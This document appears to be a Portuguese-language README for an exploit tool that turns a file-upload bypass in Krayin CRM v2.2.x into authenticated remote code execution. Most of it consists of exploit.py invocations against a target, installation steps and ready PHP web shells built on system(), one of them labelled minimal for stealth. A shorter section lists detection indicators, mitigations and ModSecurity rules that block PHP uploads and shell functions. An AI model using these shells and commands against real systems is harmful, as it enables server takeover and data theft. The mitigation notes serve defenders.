
CVE-2026-38526 exploit para Krayin CRM v2.2.x - RCE autenticado via bypass de upload de arquivo TinyMCE. Recursos: shell interativo, payloads de múltiplos tipos, geração automática de shell e verificação. Autor: Sudeepa Wanigarathna. Apenas para testes autorizados.
⚠️ APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS - O uso não autorizado é ilegal e antiético.
Esta ferramenta de exploração demonstra uma vulnerabilidade crítica de execução remota de código (RCE) autenticada descoberta no Krayin CRM versão 2.2.x. A vulnerabilidade existe na funcionalidade de upload de arquivos do TinyMCE, que permite que administradores autenticados enviem e executem código PHP arbitrário no servidor.
| Propriedade | Valor |
|---|---|
| ID CVE | CVE-2026-38526 |
| Software Afetado | Krayin CRM v2.2.x |
| Tipo de Vulnerabilidade | Execução Remota de Código Autenticada (RCE) |
| Autenticação Necessária | Sim (acesso nível Admin) |
| Impacto | Comprometimento completo do sistema |
| Pontuação CVSS | 8.8 (Alto) |
A vulnerabilidade decorre de validação insuficiente do tipo de arquivo no endpoint de upload do TinyMCE (/admin/tinymce/upload). Um administrador autenticado pode:
bashPython 3.7+pip install httpx beautifulsoup4 coloramagit clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt
requirements.txt)httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <SENHA> [OPÇÕES]
# Exploração básica com shell gerado
python3 exploit.py -t http://target.com -u [email protected] -p password
# Enviar arquivo PHP personalizado
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php
# Gerar shell avançado com modo interativo
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i
# Gerar arquivo shell sem exploração
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php
# Usar com proxy para teste/depuração
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080
# Saída JSON para automação
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json
# Modo detalhado com timeout personalizado
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60
# User-Agent e cabeçalhos personalizados
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"
Shell Básico (basic)
Execução simples de comando com a função system().
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
Shell Avançado (advanced)
Shell rico em recursos com:
Shell Mínimo (minimal)
Pegada mínima para furtividade.
<?php system($_GET["cmd"]); ?>
Gerenciador de Arquivos (file_manager)
Interface completa de gerenciamento de arquivos:
Shell Personalizado (custom)
Use seu próprio arquivo PHP shell com o parâmetro -f.
Saída colorida legível por humanos, adequada para uso interativo.
-o json)Formato legível por máquina para automação e integração.
{
"success": true,
"shell_url": "http://target.com/shell.php",
"upload_url": "/storage/upload/shell.php",
"message": "Upload successful",
"timestamp": 1699123456.789,
"details": {
"status_code": 200,
"response": "..."
}
}
-q, --quiet)Nenhuma saída, exceto erros. Útil para processamento em lote.
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"
Arquivos a Monitorar:
public/storage/upload/image.php.jpg)Logs a Verificar:
/admin/tinymce/uploadIndicadores do Sistema:
Ações Imediatas:
# Atualizar para versão corrigida
composer update krayin/crm
# Desabilitar acesso admin temporariamente
# Remover contas admin desnecessárias
# Alterar todas as senhas de admin
Reforço no Upload de Arquivos:
// Validar tipo de arquivo pelo conteúdo, não apenas pela extensão
// Implementar política de segurança de conteúdo
// Usar Firewall de Aplicação Web (WAF)
// Habilitar varredura de upload de arquivos
Controle de Acesso:
# Restringir IPs de admin no .htaccess
# Implementar MFA para contas admin
# Auditoria regular de administradores
# Políticas de tempo limite de sessão
Regras WAF (ModSecurity):
# Bloquear uploads suspeitos de arquivos
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"
# Bloquear web shells
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"
Esta vulnerabilidade foi descoberta através de pesquisa de segurança responsável. O processo de divulgação seguiu estas etapas:
ESTE SOFTWARE É FORNECIDO "COMO ESTÁ" E TODAS AS GARANTIAS EXPRESSAS OU IMPLÍCITAS,
INCLUINDO, MAS NÃO SE LIMITANDO ÀS GARANTIAS IMPLÍCITAS DE COMERCIALIZAÇÃO
E ADEQUAÇÃO A UM FIM ESPECÍFICO SÃO REJEITADAS. EM NENHUMA HIPÓTESE O
AUTOR SERÁ RESPONSÁVEL POR QUAISQUER DANOS DIRETOS, INDIRETOS, INCIDENTAIS,
ESPECIAIS, EXEMPLARES OU CONSEQUENCIAIS DECORRENTES DO USO DESTE SOFTWARE.
O USO DESTA FERRAMENTA PARA QUALQUER FIM QUE NÃO SEJA TESTE DE SEGURANÇA AUTORIZADO
É ILEGAL E ANTIÉTICO. O AUTOR NÃO ASSUME NENHUMA RESPONSABILIDADE POR
USO NÃO AUTORIZADO OU QUAISQUER DANOS CAUSADOS POR ESTA FERRAMENTA.
Problema: Falha na autenticação
/admin/loginProblema: Upload de arquivo falha
Problema: Shell não executa comandos
php.iniecho testProblema: Erros de certificado SSL
--verify-ssl ou desabilite a verificação# Habilitar log detalhado
python3 exploit.py -t http://target.com -u admin -p pass -v
# Com proxy (Burp Suite, etc.)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080
Contribuições são bem-vindas! Por favor, garanta:
Se você achar esta ferramenta útil para pesquisa de segurança, considere:
Criado com ❤️ para Pesquisa de Segurança
Lembre-se: Grande poder vem com grande responsabilidade. Use este conhecimento com sabedoria!
# Referência rápida
python3 exploit.py -t URL -u USER -p SENHA [OPÇÕES]
# Opções:
# -f ARQUIVO Enviar shell personalizado
# --shell-type TIPO Básico|Avançado|Mínimo|Gerenciador_de_Arquivos|Personalizado
# -i Modo interativo
# --proxy URL Proxy HTTP
# -v Saída detalhada
# -o json Saída JSON
# --generate-only Criar shell sem explorar
# --timeout SEG Timeout da requisição
# --retry N Número de tentativas
# --user-agent UA User-Agent personalizado
# --header "C: V" Cabeçalhos personalizados
# --verify-ssl Verificar certificados SSL
# -q, --quiet Suprimir saída
🔒 Lembre-se: Sempre obtenha permissão por escrito antes de testar qualquer sistema!
| Parâmetro | Descrição |
|---|
-t, --target | URL do alvo (ex.: http://192.168.1.100) |
-u, --username | Nome de usuário ou e-mail do admin |
-p, --password | Senha do administrador |
| Opção | Descrição | Padrão |
|---|
--timeout | Tempo limite da requisição em segundos | 30 |
--retry | Número de tentativas de repetição | 3 |
--retry-delay | Atraso entre tentativas em segundos | 2 |
--user-agent | String User-Agent personalizada | UA do navegador padrão |
--header | Cabeçalhos HTTP personalizados (Chave: Valor) | Nenhum |
--verify-ssl | Verificar certificados SSL | False |
--proxy | URL do proxy HTTP/HTTPS | Nenhum |
-v, --verbose | Habilitar saída de depuração | False |
-q, --quiet | Suprimir toda a saída | False |